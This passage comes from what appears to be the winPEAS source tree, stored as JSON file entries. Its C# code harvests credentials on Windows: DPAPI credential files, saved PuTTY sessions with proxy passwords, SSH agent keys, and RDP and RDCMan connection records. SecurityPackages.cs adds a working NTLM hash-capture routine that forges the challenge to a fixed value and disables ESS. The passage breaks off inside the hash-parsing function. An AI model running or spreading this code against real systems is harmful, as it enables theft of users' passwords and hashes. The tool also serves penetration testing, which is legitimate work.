https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54\n                                byte[] credentialArray = File.ReadAllBytes(file);\n                                byte[] guidMasterKeyArray = new byte[16];\n                                Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16);\n                                Guid guidMasterKey = new Guid(guidMasterKeyArray);\n\n                                byte[] stringLenArray = new byte[16];\n                                Array.Copy(credentialArray, 56, stringLenArray, 0, 4);\n                                int descLen = BitConverter.ToInt32(stringLenArray, 0);\n\n                                byte[] descBytes = new byte[descLen];\n                                Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4);\n\n                                string desc = Encoding.Unicode.GetString(descBytes);\n                                results.Add(new Dictionary<string, string>()\n                                {\n                                    { \"CredFile\", file },\n                                    { \"Description\", desc },\n                                    { \"MasterKey\", string.Format(\"{0}\", guidMasterKey) },\n                                    { \"Accessed\", string.Format(\"{0}\", lastAccessed) },\n                                    { \"Modified\", string.Format(\"{0}\", lastModified) },\n                                    { \"Size\", string.Format(\"{0}\", size) },\n                                });\n                            }\n                        }\n                    }\n                }\n                else\n                {\n                    string userName = Environment.GetEnvironmentVariable(\"USERNAME\");\n                    List<string> userCredFilePaths = new List<string>\n                    {\n                        string.Format(\"{0}\\\\AppData\\\\Local\\\\Microsoft\\\\Credentials\\\\\", Environment.GetEnvironmentVariable(\"USERPROFILE\")),\n                        string.Format(\"{0}\\\\AppData\\\\Roaming\\\\Microsoft\\\\Credentials\\\\\", Environment.GetEnvironmentVariable(\"USERPROFILE\"))\n                    };\n\n                    foreach (string userCredFilePath in userCredFilePaths)\n                    {\n                        if (Directory.Exists(userCredFilePath))\n                        {\n                            var files = Directory.EnumerateFiles(userCredFilePath);\n\n                            foreach (string file in files)\n                            {\n                                DateTime lastAccessed = File.GetLastAccessTime(file);\n                                DateTime lastModified = File.GetLastWriteTime(file);\n                                long size = new System.IO.FileInfo(file).Length;\n                                string fileName = Path.GetFileName(file);\n\n                                // jankily parse the bytes to extract the credential type and master key GUID\n                                // reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54\n                                byte[] credentialArray = File.ReadAllBytes(file);\n                                byte[] guidMasterKeyArray = new byte[16];\n                                Array.Copy(credentialArray, 36, guidMasterKeyArray, 0, 16);\n                                Guid guidMasterKey = new Guid(guidMasterKeyArray);\n\n                                byte[] stringLenArray = new byte[16];\n                                Array.Copy(credentialArray, 56, stringLenArray, 0, 4);\n                                int descLen = BitConverter.ToInt32(stringLenArray, 0);\n\n                                byte[] descBytes = new byte[descLen];\n                                Array.Copy(credentialArray, 60, descBytes, 0, descLen - 4);\n\n                                string desc = Encoding.Unicode.GetString(descBytes);\n                                results.Add(new Dictionary<string, string>()\n                                {\n                                { \"CredFile\", file },\n                                { \"Description\", desc },\n                                { \"MasterKey\", string.Format(\"{0}\", guidMasterKey) },\n                                { \"Accessed\", string.Format(\"{0}\", lastAccessed) },\n                                { \"Modified\", string.Format(\"{0}\", lastModified) },\n                                { \"Size\", string.Format(\"{0}\", size) },\n                            });\n                            }\n                        }\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/Putty.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.KnownFileCreds\n{\n    static class Putty\n    {\n        public static void PrintInfo()\n        {\n            PrintPuttySess();\n            PrintPuttySSH();\n            PrintSSHKeysReg();\n        }\n\n        private static void PrintPuttySess()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Putty Sessions\");\n                List<Dictionary<string, string>> putty_sess = GetPuttySessions();\n\n                Dictionary<string, string> colorF = new Dictionary<string, string>()\n                        {\n                            { \"ProxyPassword.*|PublicKeyFile.*|HostName.*|PortForwardings.*\", Beaprint.ansi_color_bad },\n                        };\n                Beaprint.DictPrint(putty_sess, colorF, true, true);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(string.Format(\"{0}\", ex));\n            }\n        }\n\n        private static void PrintPuttySSH()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"Putty SSH Host keys\");\n                List<Dictionary<string, string>> putty_sess = ListPuttySSHHostKeys();\n                Dictionary<string, string> colorF = new Dictionary<string, string>()\n                        {\n                            { \".*\", Beaprint.ansi_color_bad },\n                        };\n                Beaprint.DictPrint(putty_sess, colorF, false, true);\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(string.Format(\"{0}\", ex));\n            }\n        }\n\n        private static void PrintSSHKeysReg()\n        {\n            try\n            {\n                Beaprint.MainPrint(\"SSH keys in registry\");\n                Beaprint.LinkPrint(\"https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#ssh-keys-in-registry\", \"If you find anything here, follow the link to learn how to decrypt the SSH keys\");\n\n                string[] ssh_reg = RegistryHelper.GetRegSubkeys(\"HKCU\", @\"OpenSSH\\Agent\\Keys\");\n                if (ssh_reg.Length == 0)\n                    Beaprint.NotFoundPrint();\n                else\n                {\n                    foreach (string ssh_key_entry in ssh_reg)\n                        Beaprint.BadPrint(ssh_key_entry);\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.GrayPrint(string.Format(\"{0}\", ex));\n            }\n        }\n\n        private static List<Dictionary<string, string>> GetPuttySessions()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // extracts saved putty sessions and basic configs (via the registry)\n            if (MyUtils.IsHighIntegrity())\n            {\n                Console.WriteLine(\"\\r\\n\\r\\n=== Putty Saved Session Information (All Users) ===\\r\\n\");\n\n                string[] SIDs = Registry.Users.GetSubKeyNames();\n                foreach (string SID in SIDs)\n                {\n                    if (SID.StartsWith(\"S-1-5\") && !SID.EndsWith(\"_Classes\"))\n                    {\n                        string[] subKeys = RegistryHelper.GetRegSubkeys(\"HKU\", string.Format(\"{0}\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\\", SID));\n                        if (subKeys.Length == 0)\n                        {\n                            subKeys = RegistryHelper.GetRegSubkeys(\"HKU\", string.Format(\"{0}\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\", SID));\n                        }\n\n                        foreach (string sessionName in subKeys)\n                        {\n                            Dictionary<string, string> putty_sess = new Dictionary<string, string>()\n                            {\n                                { \"User SID\", SID },\n                                { \"SessionName\", sessionName },\n                                { \"HostName\", \"\" },\n                                { \"PortNumber\", \"\"},\n                                { \"UserName\", \"\" },\n                                { \"PublicKeyFile\", \"\" },\n                                { \"PortForwardings\", \"\" },\n                                { \"ConnectionSharing\", \"\" },\n                                { \"ProxyPassword\", \"\" },\n                                { \"ProxyUsername\", \"\" },\n                            };\n\n                            string[] keys =\n                            {\n                                \"HostName\",\n                                \"PortNumber\",\n                                \"UserName\",\n                                \"PublicKeyFile\",\n                                \"PortForwardings\",\n                                \"ConnectionSharing\",\n                                \"AgentFwd\",\n                                \"ProxyPassword\",\n                                \"ProxyUsername\",\n                            };\n\n                            foreach (string key in keys)\n                                putty_sess[key] = RegistryHelper.GetRegValue(\"HKU\", string.Format(\"{0}\\\\Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\{1}\", SID, sessionName), key);\n\n                            results.Add(putty_sess);\n                        }\n                    }\n                }\n            }\n            else\n            {\n                string[] subKeys = RegistryHelper.GetRegSubkeys(\"HKCU\", \"Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\\");\n                if (subKeys.Length == 0)\n                {\n                    subKeys = RegistryHelper.GetRegSubkeys(\"HKCU\", \"Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\");\n                }\n                RegistryKey selfKey = Registry.CurrentUser.OpenSubKey(@\"Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\"); // extract own Sessions registry keys           \n\n                if (selfKey != null)\n                {\n                    string[] subKeyNames = selfKey.GetValueNames();\n                    foreach (string name in subKeyNames)\n                    {\n                        Dictionary<string, string> putty_sess_key = new Dictionary<string, string>()\n                        {\n                            { \"RegKey Name\", name },\n                            { \"RegKey Value\", (string)selfKey.GetValue(name) },\n                        };\n\n                        results.Add(putty_sess_key);\n                    }\n                    selfKey.Close();\n                }\n                \n                foreach (string sessionName in subKeys)\n                {\n                    Dictionary<string, string> putty_sess = new Dictionary<string, string>()\n                    {\n                        { \"SessionName\", sessionName },\n                        { \"HostName\", \"\" },\n                        { \"PortNumber\", \"\" },\n                        { \"UserName\", \"\" },\n                        { \"PublicKeyFile\", \"\" },\n                        { \"PortForwardings\", \"\" },\n                        { \"ConnectionSharing\", \"\" },\n                        { \"ProxyPassword\", \"\" },\n                        { \"ProxyUsername\", \"\" },\n                    };\n\n                    string[] keys =\n                    {\n                        \"HostName\",\n                        \"PortNumber\",\n                        \"UserName\",\n                        \"PublicKeyFile\",\n                        \"PortForwardings\",\n                        \"ConnectionSharing\",\n                        \"AgentFwd\",\n                        \"ProxyPassword\",\n                        \"ProxyUsername\",\n                    };\n\n                    foreach (string key in keys)\n                        putty_sess[key] = RegistryHelper.GetRegValue(\"HKCU\", string.Format(\"Software\\\\SimonTatham\\\\PuTTY\\\\Sessions\\\\{0}\", sessionName), key);\n\n                    results.Add(putty_sess);\n                }\n            }\n            return results;\n        }\n\n        private static List<Dictionary<string, string>> ListPuttySSHHostKeys()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // extracts saved putty host keys (via the registry)\n            if (MyUtils.IsHighIntegrity())\n            {\n                Console.WriteLine(\"\\r\\n\\r\\n=== Putty SSH Host Hosts (All Users) ===\\r\\n\");\n\n                string[] SIDs = Registry.Users.GetSubKeyNames();\n                foreach (string SID in SIDs)\n                {\n                    if (SID.StartsWith(\"S-1-5\") && !SID.EndsWith(\"_Classes\"))\n                    {\n                        Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues(\"HKU\", string.Format(\"{0}\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys\\\\\", SID));\n                        if ((hostKeys == null) || (hostKeys.Count == 0))\n                        {\n                            hostKeys = RegistryHelper.GetRegValues(\"HKU\", string.Format(\"{0}\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys\", SID));\n                        }\n                        if ((hostKeys != null) && (hostKeys.Count != 0))\n                        {\n                            Dictionary<string, string> putty_ssh = new Dictionary<string, string>\n                            {\n                                [\"UserSID\"] = SID\n                            };\n                            foreach (KeyValuePair<string, object> kvp in hostKeys)\n                            {\n                                putty_ssh[kvp.Key] = \"\"; //Looks like only matters the key name, not the value\n                            }\n                            results.Add(putty_ssh);\n                        }\n                    }\n                }\n            }\n            else\n            {\n                Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues(\"HKCU\", \"Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys\\\\\");\n                if ((hostKeys == null) || (hostKeys.Count == 0))\n                {\n                    hostKeys = RegistryHelper.GetRegValues(\"HKCU\", \"Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys\");\n                }\n                if ((hostKeys != null) && (hostKeys.Count != 0))\n                {\n                    Dictionary<string, string> putty_ssh = new Dictionary<string, string>();\n                    foreach (KeyValuePair<string, object> kvp in hostKeys)\n                    {\n                        putty_ssh[kvp.Key] = \"\"; //Looks like only matters the key name, not the value\n                    }\n                    results.Add(putty_ssh);\n                }\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/RemoteDesktop.cs",
    "content": "﻿using Microsoft.Win32;\nusing System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Xml;\nusing winPEAS.Helpers;\nusing winPEAS.Helpers.Registry;\n\nnamespace winPEAS.KnownFileCreds\n{\n    static class RemoteDesktop\n    {\n        public static List<Dictionary<string, string>> GetSavedRDPConnections()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            //shows saved RDP connections, including username hints (if present)\n            if (MyUtils.IsHighIntegrity())\n            {\n                string[] SIDs = Registry.Users.GetSubKeyNames();\n                foreach (string SID in SIDs)\n                {\n                    if (SID.StartsWith(\"S-1-5\") && !SID.EndsWith(\"_Classes\"))\n                    {\n                        string[] subkeys = RegistryHelper.GetRegSubkeys(\"HKU\", string.Format(\"{0}\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\", SID));\n                        if (subkeys != null)\n                        {\n                            //Console.WriteLine(\"\\r\\n\\r\\n=== Saved RDP Connection Information ({0}) ===\", SID);\n                            foreach (string host in subkeys)\n                            {\n                                string usernameHint = RegistryHelper.GetRegValue(\"HKCU\", string.Format(\"Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\\\\{0}\", host), \"UsernameHint\");\n                                Dictionary<string, string> rdp_info = new Dictionary<string, string>() {\n                                    { \"SID\", SID },\n                                    { \"Host\", host },\n                                    { \"Username Hint\", usernameHint },\n                                };\n                                results.Add(rdp_info);\n                            }\n                        }\n                    }\n                }\n            }\n            else\n            {\n                string[] subkeys = RegistryHelper.GetRegSubkeys(\"HKCU\", \"Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\");\n                if (subkeys != null)\n                {\n                    foreach (string host in subkeys)\n                    {\n                        string usernameHint = RegistryHelper.GetRegValue(\"HKCU\", string.Format(\"Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\\\\{0}\", host), \"UsernameHint\");\n                        Dictionary<string, string> rdp_info = new Dictionary<string, string>() {\n                            { \"SID\", \"\" },\n                            { \"Host\", host },\n                            { \"Username Hint\", usernameHint },\n                        };\n                        results.Add(rdp_info);\n                    }\n                }\n            }\n            return results;\n        }\n\n        public static List<Dictionary<string, string>> GetRDCManFiles()\n        {\n            List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();\n            // lists any found files in Local\\Microsoft\\Credentials\\*\n            try\n            {\n                if (MyUtils.IsHighIntegrity())\n                {\n                    string userFolder = string.Format(\"{0}\\\\Users\\\\\", Environment.GetEnvironmentVariable(\"SystemDrive\"));\n                    var dirs = Directory.EnumerateDirectories(userFolder);\n\n                    foreach (string dir in dirs)\n                    {\n                        string[] parts = dir.Split('\\\\');\n                        string userName = parts[parts.Length - 1];\n                        if (!(dir.EndsWith(\"Public\") || dir.EndsWith(\"Default\") || dir.EndsWith(\"Default User\") || dir.EndsWith(\"All Users\")))\n                        {\n                            string userRDManFile = string.Format(\"{0}\\\\AppData\\\\Local\\\\Microsoft\\\\Remote Desktop Connection Manager\\\\RDCMan.settings\", dir);\n                            if (File.Exists(userRDManFile))\n                            {\n                                XmlDocument xmlDoc = new XmlDocument();\n                                xmlDoc.Load(userRDManFile);\n\n                                // grab the recent RDG files\n                                XmlNodeList filesToOpen = xmlDoc.GetElementsByTagName(\"FilesToOpen\");\n                                XmlNodeList items = filesToOpen[0].ChildNodes;\n                                XmlNode node = items[0];\n\n                                DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);\n                                DateTime lastModified = File.GetLastWriteTime(userRDManFile);\n                                Dictionary<string, string> rdg = new Dictionary<string, string>(){\n                                    { \"RDCManFile\", userRDManFile },\n                                    { \"Accessed\", string.Format(\"{0}\", lastAccessed) },\n                                    { \"Modified\", string.Format(\"{0}\", lastModified) },\n                                    { \".RDG Files\", \"\" },\n                                };\n\n                                foreach (XmlNode rdgFile in items)\n                                    rdg[\".RDG Files\"] += rdgFile.InnerText;\n\n                                results.Add(rdg);\n                            }\n                        }\n                    }\n                }\n                else\n                {\n                    string userName = Environment.GetEnvironmentVariable(\"USERNAME\");\n                    string userRDManFile = string.Format(\"{0}\\\\AppData\\\\Local\\\\Microsoft\\\\Remote Desktop Connection Manager\\\\RDCMan.settings\", Environment.GetEnvironmentVariable(\"USERPROFILE\"));\n\n                    if (File.Exists(userRDManFile))\n                    {\n                        XmlDocument xmlDoc = new XmlDocument();\n                        xmlDoc.Load(userRDManFile);\n\n                        // grab the recent RDG files\n                        XmlNodeList filesToOpen = xmlDoc.GetElementsByTagName(\"FilesToOpen\");\n                        XmlNodeList items = filesToOpen[0].ChildNodes;\n                        XmlNode node = items[0];\n\n                        DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);\n                        DateTime lastModified = File.GetLastWriteTime(userRDManFile);\n                        Dictionary<string, string> rdg = new Dictionary<string, string>(){\n                                    { \"RDCManFile\", userRDManFile },\n                                    { \"Accessed\", string.Format(\"{0}\", lastAccessed) },\n                                    { \"Modified\", string.Format(\"{0}\", lastModified) },\n                                    { \".RDG Files\", \"\" },\n                                };\n\n                        foreach (XmlNode rdgFile in items)\n                            rdg[\".RDG Files\"] += rdgFile.InnerText;\n                        results.Add(rdg);\n                    }\n                }\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(ex.Message);\n            }\n            return results;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/SecurityPackages/NtlmHashInfo.cs",
    "content": "﻿namespace winPEAS.KnownFileCreds.SecurityPackages\n{\n    internal class NtlmHashInfo\n    {\n        public string Version { get; private set; }\n        public string Hash { get; private set; }\n\n        public NtlmHashInfo(string version, string hash)\n        {\n            Version = version;\n            Hash = hash;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/SecurityPackages/SecBuffer.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.KnownFileCreds.SecurityPackages\n{\n    [StructLayout(LayoutKind.Sequential)]\n    public struct SecBuffer : IDisposable\n    {\n        public int BufferSize;\n        public int BufferType;\n        public IntPtr BufferPtr;\n\n        /// <summary>\n        /// Initialization constructor that allocates a new security buffer\n        /// </summary>\n        /// <param name=\"bufferSize\">Size of the buffer to allocate</param>\n        internal SecBuffer(int bufferSize)\n        {\n            // Save buffer size\n            BufferSize = bufferSize;\n\n            // Set buffer type (2 = Token)\n            BufferType = 2;\n\n            // Allocate buffer\n            BufferPtr = Marshal.AllocHGlobal(bufferSize);\n        }\n\n        /// <summary>\n        /// Initialization constructor for existing buffer\n        /// </summary>\n        /// <param name=\"buffer\">Data</param>\n        internal SecBuffer(byte[] buffer)\n        {\n            // Save buffer size\n            BufferSize = buffer.Length;\n\n            // Set buffer type (2 = Token)\n            BufferType = 2;\n\n            // Allocate unmanaged memory for the buffer\n            BufferPtr = Marshal.AllocHGlobal(BufferSize);\n\n\n            try\n            {\n                // Copy data into the unmanaged memory\n                Marshal.Copy(buffer, 0, BufferPtr, BufferSize);\n            }\n            catch (Exception)\n            {\n                // Dispose object\n                Dispose();\n\n                // Re-throw exception\n                throw;\n            }\n        }\n\n        /// <summary>\n        /// Extract raw byte data from the security buffer\n        /// </summary>\n        internal byte[] ToArray()\n        {\n            // Check if we have a security buffer\n            if (BufferPtr == IntPtr.Zero)\n            {\n                return new byte[] { };\n            }\n\n            // Allocate byte buffer\n            var buffer = new byte[BufferSize];\n\n            // Copy data from the native space\n            Marshal.Copy(BufferPtr, buffer, 0, BufferSize);\n\n            return buffer;\n        }\n\n        /// <summary>\n        /// Dispose security buffer\n        /// </summary>\n        public void Dispose()\n        {\n            // Check buffer pointer validity\n            if (BufferPtr != IntPtr.Zero)\n            {\n                // Release memory associated with it\n                Marshal.FreeHGlobal(BufferPtr);\n\n                // Reset buffer pointer\n                BufferPtr = IntPtr.Zero;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/SecurityPackages/SecBufferDesc.cs",
    "content": "﻿using System;\nusing System.IO;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.KnownFileCreds.SecurityPackages\n{\n    // SecBufferDesc structure - https://docs.microsoft.com/en-us/windows/win32/api/sspi/ns-sspi-secbufferdesc    \n    [StructLayout(LayoutKind.Sequential)]\n    public struct SecBufferDesc : IDisposable\n    {\n        public int Version;\n        public int BufferCount;\n        public IntPtr BuffersPtr;\n\n        /// <summary>\n        /// Initialization constructor\n        /// </summary>\n        /// <param name=\"size\">Size of the buffer to allocate</param>\n        internal SecBufferDesc(int size)\n        {\n            // Set version to SECBUFFER_VERSION\n            Version = 0;\n\n            // Set the number of buffers\n            BufferCount = 1;\n\n            // Allocate a security buffer of the requested size\n            var secBuffer = new SecBuffer(size);\n\n            // Allocate a native chunk of memory for security buffer\n            BuffersPtr = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer));\n\n            try\n            {\n                // Copy managed data into the native memory\n                Marshal.StructureToPtr(secBuffer, BuffersPtr, false);\n            }\n            catch (Exception)\n            {\n                // Delete native memory\n                Marshal.FreeHGlobal(BuffersPtr);\n\n                // Reset native buffer pointer\n                BuffersPtr = IntPtr.Zero;\n\n                // Re-throw exception\n                throw;\n            }\n        }\n\n        /// <summary>\n        /// Initialization constructor for byte array\n        /// </summary>\n        /// <param name=\"buffer\">Data</param>\n        internal SecBufferDesc(byte[] buffer)\n        {\n            // Set version to SECBUFFER_VERSION\n            Version = 0;\n\n            // We have only one buffer\n            BufferCount = 1;\n\n            // Allocate security buffer\n            var secBuffer = new SecBuffer(buffer);\n\n            // Allocate native memory for managed block\n            BuffersPtr = Marshal.AllocHGlobal(Marshal.SizeOf(secBuffer));\n\n            try\n            {\n                // Copy managed data into the native memory\n                Marshal.StructureToPtr(secBuffer, BuffersPtr, false);\n            }\n            catch (Exception)\n            {\n                // Delete native memory\n                Marshal.FreeHGlobal(BuffersPtr);\n\n                // Reset native buffer pointer\n                BuffersPtr = IntPtr.Zero;\n\n                // Re-throw exception\n                throw;\n            }\n        }\n\n        /// <summary>\n        /// Dispose security buffer descriptor\n        /// </summary>\n        public void Dispose()\n        {\n            // Check if we have a buffer\n            if (BuffersPtr != IntPtr.Zero)\n            {\n                // Iterate through each buffer than we manage\n                for (var index = 0; index < BufferCount; index++)\n                {\n                    // Calculate pointer to the buffer\n                    var currentBufferPtr = new IntPtr(BuffersPtr.ToInt64() + (index * Marshal.SizeOf(typeof(SecBuffer))));\n\n                    // Project the buffer into the managed world\n                    var secBuffer = (SecBuffer)Marshal.PtrToStructure(currentBufferPtr, typeof(SecBuffer));\n\n                    // Dispose it\n                    secBuffer.Dispose();\n                }\n\n                // Release native memory block\n                Marshal.FreeHGlobal(BuffersPtr);\n\n                // Reset buffer pointer\n                BuffersPtr = IntPtr.Zero;\n            }\n        }\n\n        /// <summary>\n        /// Convert to byte array\n        /// </summary>\n        internal byte[] ToArray()\n        {\n            // Check if we have a buffer\n            if (BuffersPtr == IntPtr.Zero)\n            {\n                // We don't have a buffer\n                return new byte[] { };\n            }\n\n            // Prepare a memory stream to contain all the buffers\n            var outputStream = new MemoryStream();\n\n            // Iterate through each buffer and write the data into the stream\n            for (var index = 0; index < BufferCount; index++)\n            {\n                // Calculate pointer to the buffer\n                var currentBufferPtr = new IntPtr(BuffersPtr.ToInt64() + (index * Marshal.SizeOf(typeof(SecBuffer))));\n\n                // Project the buffer into the managed world\n                var secBuffer = (SecBuffer)Marshal.PtrToStructure(currentBufferPtr, typeof(SecBuffer));\n\n                // Get the byte buffer\n                var secBufferBytes = secBuffer.ToArray();\n\n                // Write buffer to the stream\n                outputStream.Write(secBufferBytes, 0, secBufferBytes.Length);\n            }\n\n            // Convert to byte array\n            return outputStream.ToArray();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/KnownFileCreds/SecurityPackages/SecurityPackages.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing winPEAS.KnownFileCreds.Kerberos;\nusing winPEAS.Native;\n\nnamespace winPEAS.KnownFileCreds.SecurityPackages\n{\n    internal class SecurityPackages\n    {\n        [StructLayout(LayoutKind.Sequential)]\n        public struct SECURITY_INTEGER\n        {\n            public IntPtr LowPart;\n            public IntPtr HighPart;\n        };\n\n        private const int MAX_TOKEN_SIZE = 12288;\n        private const uint SEC_E_OK = 0;\n        private const uint SEC_E_NO_CREDENTIALS = 0x8009030e;\n        private const uint SEC_I_CONTINUE_NEEDED = 0x90312;\n\n        internal static IEnumerable<NtlmHashInfo> GetNtlmCredentials()\n        {\n            var challenge = \"1122334455667788\";\n\n            var cred = GetNtlmCredentialsInternal(challenge, true);\n\n            if (cred != null)\n            {\n                yield return cred;\n            }\n        }\n\n        private static NtlmHashInfo GetNtlmCredentialsInternal(string challenge, bool disableESS)\n        {\n            var clientToken = new SecBufferDesc(MAX_TOKEN_SIZE);\n            var newClientToken = new SecBufferDesc(MAX_TOKEN_SIZE);\n            var serverToken = new SecBufferDesc(MAX_TOKEN_SIZE);\n\n            SECURITY_HANDLE cred;\n            cred.LowPart = cred.HighPart = IntPtr.Zero;\n\n            SECURITY_HANDLE clientContext;\n            clientContext.LowPart = clientContext.HighPart = IntPtr.Zero;\n\n            SECURITY_HANDLE newClientContext;\n            newClientContext.LowPart = newClientContext.HighPart = IntPtr.Zero;\n\n            SECURITY_HANDLE serverContext;\n            serverContext.LowPart = serverContext.HighPart = IntPtr.Zero;\n\n            SECURITY_INTEGER clientLifeTime;\n            clientLifeTime.LowPart = clientLifeTime.HighPart = IntPtr.Zero;\n\n            try\n            {\n                // Acquire credentials handle for current user\n                var result = Secur32.AcquireCredentialsHandle(\n                    IntPtr.Zero,\n                    \"NTLM\",\n                    3,\n                    IntPtr.Zero,\n                    IntPtr.Zero,\n                    0,\n                    IntPtr.Zero,\n                    ref cred,\n                    ref clientLifeTime\n                );\n                if (result != SEC_E_OK)\n                    throw new Exception($\"AcquireCredentialsHandle failed. Error: 0x{result:x8}\");\n\n                // Get a type-1 message from NTLM SSP\n                result = Secur32.InitializeSecurityContext(\n                    ref cred,\n                    IntPtr.Zero,\n                    IntPtr.Zero,\n                    0x00000800,         // SECPKG_FLAG_NEGOTIABLE\n                    0,\n                    0x10,             // SECURITY_NATIVE_DREP\n                    IntPtr.Zero,\n                    0,\n                    out clientContext,\n                    out clientToken,\n                    out _,\n                    out clientLifeTime\n                );\n                if (result != SEC_E_OK && result != SEC_I_CONTINUE_NEEDED)\n                    throw new Exception($\"InitializeSecurityContext failed. Error: 0x{result:x8}\");\n\n                // Get a type-2 message from NTLM SSP (Server)\n                result = Secur32.AcceptSecurityContext(\n                    ref cred,\n                    IntPtr.Zero,\n                    ref clientToken,\n                    0x00000800,     // ASC_REQ_CONNECTION\n                    0x10,         // SECURITY_NATIVE_DREP\n                    out serverContext,\n                    out serverToken,\n                    out _,\n                    out clientLifeTime\n                    );\n                if (result != SEC_E_OK && result != SEC_I_CONTINUE_NEEDED)\n                    throw new Exception($\"AcceptSecurityContext failed. Error: 0x{result:x8}\");\n\n                // Tamper with the CHALLENGE message\n                var serverMessage = serverToken.ToArray();\n                var challengeBytes = StringToByteArray(challenge);\n                if (disableESS)\n                {\n                    serverMessage[22] = (byte)(serverMessage[22] & 0xF7);\n                }\n\n                //Replace Challenge\n                Array.Copy(challengeBytes, 0, serverMessage, 24, 8);\n                //Reset reserved bytes to avoid local authentication\n                Array.Copy(new byte[16], 0, serverMessage, 32, 16);\n\n\n                var newServerToken = new SecBufferDesc(serverMessage);\n                result = Secur32.InitializeSecurityContext(\n                    ref cred,\n                    ref clientContext,\n                    IntPtr.Zero,\n                    0x00000800,       // SECPKG_FLAG_NEGOTIABLE\n                    0,\n                    0x10,           // SECURITY_NATIVE_DREP\n                    ref newServerToken,\n                    0,\n                    out newClientContext,\n                    out newClientToken,\n                    out _,\n                    out clientLifeTime\n                    );\n\n                var clientTokenBytes = newClientToken.ToArray();\n                newServerToken.Dispose();\n\n                if (result == SEC_E_OK)\n                {\n                    return ParseNTResponse(clientTokenBytes, challenge);\n                }\n                else if (result == SEC_E_NO_CREDENTIALS)\n                {\n                    return null;\n                }\n                else if (disableESS)\n                {\n                    return GetNtlmCredentialsInternal(challenge, false);\n                }\n                else\n                {\n                    throw new Exception($\"InitializeSecurityContext (client) failed. Error: 0x{result:x8}\");\n                }\n            }\n            catch (Exception ex)\n            {\n                throw ex;\n            }\n            finally\n            {\n                clientToken.Dispose();\n                newClientToken.Dispose();\n                serverToken.Dispose();\n\n                if (cred.LowPart != IntPtr.Zero && cred.HighPart != IntPtr.Zero)\n                    Secur32.FreeCredentialsHandle(ref cred);\n\n                if (clientContext.LowPart != IntPtr.Zero && clientContext.HighPart != IntPtr.Zero)\n                    Secur32.DeleteSecurityContext(ref clientContext);\n\n                if (newClientContext.LowPart != IntPtr.Zero && newClientContext.HighPart != IntPtr.Zero)\n                    Secur32.DeleteSecurityContext(ref newClientContext);\n\n                if (serverContext.LowPart != IntPtr.Zero && serverContext.HighPart != IntPtr.Zero)\n                    Secur32.DeleteSecurityContext(ref serverContext);\n            }\n        }\n\n        private static NtlmHashInfo ParseNTResponse(byte[] message, string challenge)\n        {\n            var lm_resp_len = BitConverter.ToUInt16(message, 12);\n            var lm_resp_off = BitConverter.ToUInt32(message, 16);\n            var nt_resp_len = BitConverter.ToUInt16(message, 20);\n            var nt_resp_off = BitConverter.ToUInt32(message, 24);\n            var domain_len = BitConverter.ToUInt16(message, 28);\n            var domain_off = BitConverter.ToUInt32(message, 32);\n            var user_len = BitConverter.ToUInt16(message, 36);\n            var user_off = BitConverter.ToUInt32(message, 40);\n            var lm_resp = new byte[lm_resp_len];\n            var nt_resp = new byte[nt_resp_len];\n            var domain = new byte[domain_len];\n            var user = new byte[user_len];\n            Array.Copy(message, lm_resp_off, lm_resp, 0, lm_resp_len);\n            Array.Copy(message, nt_resp_off, nt_resp, 0, 